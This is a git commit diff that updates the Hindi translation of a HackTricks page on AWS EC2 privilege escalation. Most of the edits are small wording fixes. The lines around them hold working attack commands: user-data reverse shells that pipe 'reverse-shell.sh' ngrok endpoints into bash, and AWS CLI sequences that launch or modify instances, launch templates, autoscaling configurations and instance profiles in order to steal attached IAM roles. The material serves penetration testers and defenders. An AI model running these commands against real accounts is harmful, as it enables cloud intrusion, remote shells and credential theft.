mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-10 14:50:51 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -16,7 +16,7 @@ For more **info about EC2** check:
|
||||
|
||||
- **SSH के माध्यम से पहुँच**
|
||||
|
||||
एक **बनाई गई** **ssh कुंजी** (`--key-name`) का उपयोग करके एक नया उदाहरण चलाएँ और फिर इसमें ssh करें (यदि आप एक नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` अनुमति होनी चाहिए)।
|
||||
एक **बनाए गए** **ssh कुंजी** (`--key-name`) का उपयोग करके एक नया उदाहरण चलाएँ और फिर इसमें ssh करें (यदि आप एक नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` अनुमति होनी चाहिए)।
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
@@ -30,7 +30,7 @@ echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=E<instance-profile-name> \
|
||||
--iam-instance-profile Name=<instance-profile-name> \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
@@ -44,7 +44,7 @@ GuradDuty के साथ सावधान रहें यदि आप इ
|
||||
|
||||
#### ECS तक पहुँच
|
||||
|
||||
इन अनुमतियों के सेट के साथ, आप **एक EC2 इंस्टेंस बना सकते हैं और इसे एक ECS क्लस्टर के अंदर पंजीकृत कर सकते हैं**। इस तरह, ECS **सेवाएँ** **EC2 इंस्टेंस** के अंदर **चलाई जाएंगी** जहाँ आपके पास पहुँच है और फिर आप उन सेवाओं (डॉकर कंटेनरों) में प्रवेश कर सकते हैं और **उनकी ECS भूमिकाएँ चुरा सकते हैं**।
|
||||
इन अनुमतियों के सेट के साथ, आप **एक EC2 इंस्टेंस बना सकते हैं और इसे एक ECS क्लस्टर के अंदर पंजीकृत कर सकते हैं**। इस तरह, ECS **सेवाएँ** **EC2 इंस्टेंस** के अंदर **चलाई जाएंगी** जहाँ आपके पास पहुँच है और फिर आप उन सेवाओं (docker कंटेनरों) में प्रवेश कर सकते हैं और **उनकी ECS भूमिकाएँ चुरा सकते हैं**।
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,13 +59,13 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
ECS सेवाओं को इस नए EC2 इंस्टेंस में **चलाने के लिए मजबूर करने** के लिए सीखने के लिए देखें:
|
||||
ECS सेवाओं को इस नए EC2 इंस्टेंस में **चलाने के लिए मजबूर करने** के लिए जांचें:
|
||||
|
||||
{{#ref}}
|
||||
aws-ecs-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
यदि आप **नया इंस्टेंस नहीं बना सकते** लेकिन आपके पास अनुमति `ecs:RegisterContainerInstance` है, तो आप क्लस्टर के अंदर इंस्टेंस को रजिस्टर कर सकते हैं और टिप्पणी की गई हमले को अंजाम दे सकते हैं।
|
||||
यदि आप **नया इंस्टेंस नहीं बना सकते** लेकिन आपके पास `ecs:RegisterContainerInstance` अनुमति है, तो आप क्लस्टर के अंदर इंस्टेंस को रजिस्टर करने और टिप्पणी की गई हमले को करने में सक्षम हो सकते हैं।
|
||||
|
||||
**संभावित प्रभाव:** कार्यों से जुड़े ECS भूमिकाओं के लिए सीधे प्रिवेस्क।
|
||||
|
||||
@@ -98,7 +98,7 @@ aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Va
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- या **प्रतिस्थापित** करें **इंस्टेंस प्रोफ़ाइल** को समझौता किए गए इंस्टेंस का (`ec2:ReplaceIamInstanceProfileAssociation`)।
|
||||
- या **प्रतिस्थापित** करें **इंस्टेंस प्रोफ़ाइल** को समझौता किए गए इंस्टेंस (`ec2:ReplaceIamInstanceProfileAssociation`)।
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
@@ -106,8 +106,8 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<va
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
एक हमलावर जिसके पास अनुमतियाँ **`ec2:RequestSpotInstances`और`iam:PassRole`** हैं, वह **एक स्पॉट उदाहरण** **अनुरोध** कर सकता है जिसमें **EC2 भूमिका संलग्न** है और **उपयोगकर्ता डेटा** में **एक रिवर्स शेल** है।\
|
||||
एक बार जब उदाहरण चलाया जाता है, तो वह **IAM भूमिका** को **चुरा** सकता है।
|
||||
एक हमलावर जिसके पास अनुमतियाँ **`ec2:RequestSpotInstances`और`iam:PassRole`** हैं, वह **एक स्पॉट उदाहरण** **अनुरोध** कर सकता है जिसमें **EC2 भूमिका संलग्न** है और **उपयोगकर्ता डेटा** में **रिव शेल** है।\
|
||||
एक बार उदाहरण चलने के बाद, वह **IAM भूमिका** को **चुरा** सकता है।
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -121,7 +121,7 @@ aws ec2 request-spot-instances \
|
||||
|
||||
एक हमलावर के पास **`ec2:ModifyInstanceAttribute`** है, जिससे वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए मजबूर कर सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है।
|
||||
|
||||
ध्यान दें कि गुण केवल तब **संशोधित** किए जा सकते हैं जब इंस्टेंस **रुका हुआ** हो, इसलिए **अनुमतियाँ** **`ec2:StopInstances`** और **`ec2:StartInstances`** आवश्यक हैं।
|
||||
ध्यान दें कि गुण केवल तब **संशोधित** किए जा सकते हैं जब इंस्टेंस **रुका हुआ** हो, इसलिए **अनुमतियाँ** **`ec2:StopInstances`** और **`ec2:StartInstances`**।
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -162,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **उपयोगकर्ता डेटा** में **rev shell** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** जो उस **लॉन्च टेम्पलेट** का **उपयोग** कर रहा है जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का **उपयोग** करने के लिए **कॉन्फ़िगर** किया गया है, वह **इंस्टेंस को फिर से चलाएगा** और उस टेम्पलेट का उपयोग करते हुए rev shell को निष्पादित करेगा।
|
||||
एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **उपयोगकर्ता डेटा** में **rev shell** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** **जिसका उपयोग** उस **लॉन्च टेम्पलेट** के लिए **किया गया है** जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का उपयोग करने के लिए **कॉन्फ़िगर** किया गया है, वह **उस टेम्पलेट** का उपयोग करके **इंस्टेंस को फिर से चलाएगा** और rev shell को निष्पादित करेगा।
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -180,7 +180,7 @@ aws ec2 modify-launch-template \
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** **IAM भूमिका** और **यूजर डेटा** के अंदर **रिवर्स शेल** के साथ **बना सकता है**, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और रिवर्स शेल का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है।
|
||||
एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** बना सकता है जिसमें **IAM भूमिका** और **रिवर्स शेल** **उपयोगकर्ता डेटा** के अंदर हो, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और रिवर्स शेल का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है।
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -215,9 +215,9 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** है, वह **एक सीरियल कनेक्शन में ssh कुंजी जोड़ सकता है**। यदि सीरियल सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** की आवश्यकता होती है।
|
||||
एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** है, वह **एक धारावाहिक कनेक्शन में ssh कुंजी जोड़ सकता है**। यदि धारावाहिक सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** की आवश्यकता होती है।
|
||||
|
||||
सीरियल पोर्ट से कनेक्ट करने के लिए आपको **मशीन के अंदर एक उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड जानना भी आवश्यक है**।
|
||||
धारावाहिक पोर्ट से कनेक्ट करने के लिए आपको **मशीन के अंदर एक उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड जानना भी आवश्यक है**।
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -231,7 +231,7 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
|
||||
```
|
||||
इस तरीके से privesc के लिए ज्यादा उपयोगी नहीं है क्योंकि आपको इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना होगा।
|
||||
|
||||
**संभावित प्रभाव:** (अत्यधिक अप्रूव करने योग्य) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc।
|
||||
**संभावित प्रभाव:** (अत्यधिक अप्रूव करने योग्य नहीं) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc।
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
|
||||
Reference in New Issue
Block a user